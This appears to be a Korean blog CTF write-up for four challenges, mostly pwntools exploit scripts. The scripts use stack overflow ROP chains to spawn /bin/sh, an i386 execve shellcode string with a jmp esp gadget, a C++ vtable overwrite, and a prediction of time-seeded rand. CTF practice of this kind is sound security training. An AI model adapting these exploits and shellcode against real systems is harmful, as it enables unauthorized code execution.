2등 먹었슴다~!!~!!~!~!~!!!~!~!!~!~!~!~!!~~!!~!~!!!~!~!~
포넙3개랑 리버싱 1개 올림니다
(사실 network 도 풀었는데 넘 쉬웠어서 생략하겠슴다)
alien_hunter(200)
from pwn import *
p = process("./alien_hunter")
context.log_level='debug'
def kill():
for i in range(0,9):
p.sendline('1')
p.sendline('2')
for i in range(0,4):
p.sendline('1')
kill()
read_plt = 0x08048410
pppr = 0x08048819
bss = 0x804a03d
p.recvuntil("You are Winner!!! What's your Name???")
pay = "A"*0x40 + "ABCD"
pay += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)
pay += p32(0x08048440) + p32(0xdeadbeef) + p32(bss)
p.send(pay)
p.sendline('/bin/sh\x00')
p.interactive()
ccocco(150)
read 를 통해서 bss 에 jmp esp 가젯을 넣어주고 쉘코드로 쓱싹하는 문제였습니다
from pwn import *
p = process("./ccocco")
context.log_level='debug'
elf = ELF("./ccocco")
puts_plt = 0x08048370
puts_got = 0x804a014
fflush_plt = 0x08048360
pr = 0x08048331
fflush_got = 0x804a010
read_plt = 0x08048350
bss = 0x0804a024
jmp = asm("jmp esp",arch='i386',os='linux')
p.recvuntil('Do you know RTL?\n\n')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
pay = "A"*0x88+"ABCD"
pay += p32(read_plt) + p32(0x08048589) + p32(0) +p32(bss+8) + p32(len(jmp)) +p32(bss+8) + shellcode#p32(0x080484C2)
print len(pay)
print pay
p.sendline(pay)
p.send(jmp)
p.interactive()
nodepad(250)
C++ 에 VTABLE 를 이용해서 호출되는 함수 주소를 바꿔주면되는데
3중 포인터에 맞춰서 넣어주시면 됩니다. 근데 \x0a 때문에 페이로드 전송 드럽게 안되서 입력 시작주소에 넣으려다 좀 패딩 넣고 했습니다.
from pwn import *
p = process("./notepad")
context.log_level='debug'
pay = p32(0x8048c8b)*100
pay += "A"*(1038 - len(pay) -6) + p32(0x8048c8b)
p.recvuntil('input:')
p.sendline("1")
p.recvuntil("INPUT : ")
p.sendline(pay)
p.sendline('1')
sleep(1)
p.recv(2048)
LetsGuess(150)
srand 가 같은 시드로 입력받았을때 rand 값은 같습니다.
이때 srand 를 time 에 따라 줌으로써 이걸 이용해서 처음 입력으로 number 를 알아내고 빠르게 연결끊고 재연결 하면 풀립니다.
from pwn import *
p = process("./LetsGuess")
#context.log_level='debug'
p.sendline('1')
p.sendline('2')
p.sendline('3')
p.recvuntil('My numbers are... ')
dap = p.recvline().rstrip().split(' ')
print dap
p.close()
p = process("./LetsGuess")
for i in dap:
p.sendline(i)
print p.recvuntil('Wow! you made a perfect GUESS!!!')
print p.recv(2048)
print p.recv(2048)
print p.recv(2048)
'CTF Writeup' 카테고리의 다른 글
[Tu-ctf] writeup (0) | 2017.11.26 |
---|---|
ubuntu ctf write up (0) | 2017.11.06 |
[화이트해커리그] Write up (0) | 2017.11.01 |
[h4ccctf] 출제자 write up (0) | 2017.10.29 |
Cyber Guardians 예선 (0) | 2017.10.28 |